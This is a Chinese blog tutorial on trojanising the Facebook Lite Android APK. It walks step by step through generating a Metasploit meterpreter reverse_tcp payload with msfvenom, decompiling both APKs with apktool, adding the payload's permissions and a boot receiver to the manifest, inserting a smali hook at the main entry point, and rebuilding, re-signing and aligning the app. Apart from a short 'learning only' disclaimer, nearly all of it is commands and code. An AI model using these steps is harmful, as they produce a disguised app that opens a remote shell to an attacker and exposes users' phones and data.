drimwai的博客

手动地在安卓apk嵌入Payload

## 前言:本教程只作为学习用途,切勿用于其他用途。恶意入侵他人终端属于国家明令禁止的违法行为,请务必遵守!!!

 

## 搭建环境:

### kali linux 2019.3

### apktool v2.3.1

### openjdk 11

### keytool

### zipalign

 

## 原理介绍:

** 这里涉及到一系列Android开发的知识,如果小伙伴们希望更详细的了解。可以先去学习Android开发的相关内容。

1585554758761492.png

### 主程序我们只需要用到AndroidManifest.xmlMainAcitivity。前者是用来存储权限与程序部件,后者是程序的入口(主界面)。

### Payload (代码可以在 https://github.com/rapid7/metasploit-payloads/ 找到)MainService.java运行,而MainBroadcastReceiver.java用于接收指令。

### PayloadAndroidManifest中的权限加入到主程序的AndroidManifest中。

### Payloadstage打包放入主程序,并在主程序中调用MainServiceMainBroadcastReceiver


## 嵌入步骤:

### 0. 安装相关依赖

apt-get update
apt-get install apktool
apt-get install keytool
apt-get install zipalign
apt-get install openjdk-11-jdk-headless -y

 

### 1. 下载一个想要嵌入Payloadapk, 这里我用的是Facebook liteapk

 

### 2. metasploit创建payload

msfvenom -p android/meterpreter/reverse_tcp LHOST=<your ip> LPORT=4444 -o /root/Desktop/payload.apk


### 3. 删除已有的资源表

apktool empty-framework-dir --force


### 4. apktool反编译Facebook litepayloadapks

apktool d -f /root/Desktop/fblite.apk -o /root/Desktop/original 
apktool d -f /root/Desktop/payload.apk -o /root/Desktop/payload


### 5. AndroidManifest.xml文件中嵌入权限和payload运行的相关部件

#### 5.1. 加入Payload相关权限

image002.png  

#### 5.2. 加入Payload运行相应部件

image003.png

<receiver android:label="MainBroadcastReceiver" android:name="com.metasploit.stage.MainBroadcastReceiver">
    <intent-filter>
        <action android:name="android.intent.action.BOOT_COMPLETED"/>
    </intent-filter>
</receiver>
<service android:exported="true" android:name="com.metasploit.stage.MainService"/>


### 6. Facebook liteapk反编译文件中,加入启动代码(或钩子

#### 6.1. 在主程序的AndroidManifest.xml中找到对应的main入口

image004.png

#### 6.2. 在对应的入口文件中加入以下启动代码

invoke-static {}, Lcom/metasploit/stage/MainService;->start()V


### 7. 重新打包带有payloadfacebook liteapk

cd /root/Desktop/original
apktool b /root/Desktop/original/


### 8. 对带有payloadfacebook liteapk进行签名和优化

// 用keytool产生密钥
keytool -genkey -V -keystore /root/Desktop/key.keystore -alias alexis -keyalg RSA -keysize 2048 -validity 1000
// jarsigner进行签名
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore /root/Desktop/key.keystore fblite.apk alexis
// zipalign进行优化
zipalign -v 4 fblite.apk signed.apk


## 实现效果展示(如果清晰度不够,请移步bilibili观看哦!)

drimwai的博客
drimwai的博客
使用条款和私隐条款。版权所有,保留一切权利。
Copyright by drimwai Liang (2018-2020). All Right Reserved.